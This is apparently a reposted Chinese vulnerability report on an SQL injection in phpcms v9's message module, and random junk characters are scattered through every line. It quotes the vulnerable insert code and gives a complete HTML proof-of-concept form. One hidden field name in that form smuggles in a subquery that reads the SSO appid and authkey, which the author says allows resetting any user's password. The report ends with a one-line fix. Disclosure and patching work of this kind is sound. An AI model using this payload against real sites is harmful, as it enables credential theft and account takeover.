|
简要描述:, R9 p) p8 A6 {! K) v: r7 S
/ g, U/ B$ O; V6 Y' z
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。6 b% `1 L. L ^+ R
' V: y! O: D% b/ }2 M! N) n& j明天再更新下一个漏洞。
+ p, G7 F$ m$ U {详细说明:
" p# g* s% z" ]/ X在/phpcms9/phpcms/modules/message/index.php中有代码如下:( ?& F# S* @1 g: N8 }
7 q4 R6 y4 L4 J+ E$messageid = $this->message_db->insert($_POST['info'],true);
+ k" \5 _3 v/ ]6 g2 u
1 U: z4 p4 `( L/ A& r1 U
& F8 a7 \5 b' o. G+ _ U- R* Yinsert方法是key value的,代码如下:
0 F2 Y5 S& U1 \# [9 x# z3 J& A" ?# B1 o z9 K8 ?- @7 s
public function insert($data, $table, $return_insert_id = false, $replace = false) {
, \' ?+ @0 R& ^0 B' j& t if(!is_array( $data ) || $table == '' || count($data) == 0) {
9 X; f; m' K* Y3 q) s return false;: ]- f9 ^+ c4 a) a& A7 A! R8 _" y; ?
}, f& L0 C( g* r5 ~$ E
/ E0 d6 b, Y& _$ a $fielddata = array_keys($data);
% H7 Z8 U$ L! z $valuedata = array_values($data);8 Z% P. z& W- D& n; X* j! P2 Q1 N
array_walk($fielddata, array($this, 'add_special_char'));
- e' N% X! C" r, T& e7 B array_walk($valuedata, array($this, 'escape_string'));6 e, Q. m: A( m
# B6 s+ Z5 v% A7 O* w- l' | $field = implode (',', $fielddata);9 v. @; w& [+ K, @! ]/ {* {
$value = implode (',', $valuedata);; U, P$ g- D0 _6 C6 S: R
3 S' @% @2 n! c |
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';* e: d5 f3 L# U2 a
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';4 }% S& w6 z1 D# C3 \1 J
$return = $this->execute($sql);4 Q. Q. ^, O8 i
return $return_insert_id ? $this->insert_id() : $return;
/ p* p0 c) F! O* h* Y) f }
) x1 x6 G, f! F" L2 k. h5 p( q& K- ^2 B& u
4 f0 k8 m) j- j" Q
嗯,很遗憾的是
9 f9 c6 m3 Q0 H4 B$ ^1 O
8 M; ]0 X/ {) C* \. B& [, _7 L* tarray_walk($fielddata, array($this, 'add_special_char'));/ w4 E) X5 {6 c7 c
' S( v, c$ h+ B) K
% O( ^2 I5 d4 K! n2 T9 F中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
0 n) Q% ]4 f2 _3 m: ~0 k
! Y9 {- J7 e5 v到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。 I$ `2 c! S& p" s( E* @) ~5 {
" r: `$ k7 Q* K4 h; w
漏洞证明:4 m% O% D2 c, K( X3 r0 h$ w* I
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。- d) g% R4 |% Z. b* e4 F9 `" ~
% I- k, Z- k/ A! F/ j
) H0 u5 j2 Q. a) t* a( T! D表单如下:用户名什么的得自己改一改。. Q5 g1 X( I8 L, M+ G1 [
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">. r! b/ w) R: U
<table width="100%" cellspacing="0" class="table_form">
# K' t) W! ~- E; Y. U' U<tr># c' U+ ~( U5 Z3 H
<th>标 题:</th>
& g6 z& a4 a" \<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
5 C2 r. u7 b# p$ P: Z</tr>
( H: S4 B2 R0 W: ?; ?# G<tr>
# j3 ]: Q( l# i4 y+ d" [<th>内 容:</th># z4 Q. [9 c' @7 M1 Q7 W! C
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
# l, Z& F, {9 U9 Y. w: k2 @</tr>( m l/ B) M. g# h
<input type="hidden" name="info[replyid]" value="2" />
! |, B; R5 d+ V# c2 A<input type="hidden" name="info[send_to_id]" value="cc" /> # r, m8 u, W5 B: C9 L. Y+ l
<input type="hidden" name="info[send_from_id]" value="hh">
Q# g6 W: e5 t7 P" b! a! Z. Q5 |<!-- 漏洞的利用重点在这里开始 -->: M0 u3 d0 q+ ]9 U5 [4 T+ k4 I+ ~3 n
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
5 \1 J0 v; a2 r+ m<!-- 漏洞的利用重点在这里结束 -->0 [0 X4 d1 f* P" e* I
<tr>
% n7 r. j& T" z! e4 |<th>验证码:</th>" U& H) |4 u* L. c& \6 ]' t
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
1 ^* S' o: r: R% h) ~. E, V1 p" \</tr>" h8 |' ?* O' e3 e+ Y
<tr>
- }- X/ Z4 H% l<td></td>7 M6 g# J" r1 m
<td colspan="2"><label>
( J0 L( t( ]0 d, r<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# E& p6 F( {/ S4 U, T4 p</label></td>; V2 E7 j Y. H, K6 M7 {
</tr>, A- e! R9 P- Y' `. Y
</table>5 |% H3 _4 d( q
</form>
1 T1 |3 H& s2 X7 `2 o在add_special_char函数内对key做过滤就可以了。! S% d8 G' M' M! M
2 S* I# g) n2 J. P, q4 f/ e3 G* N
8 b1 f; P0 h2 w3 u& d$ f: K( [' C
5 @! m% ^1 P( |4 t |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|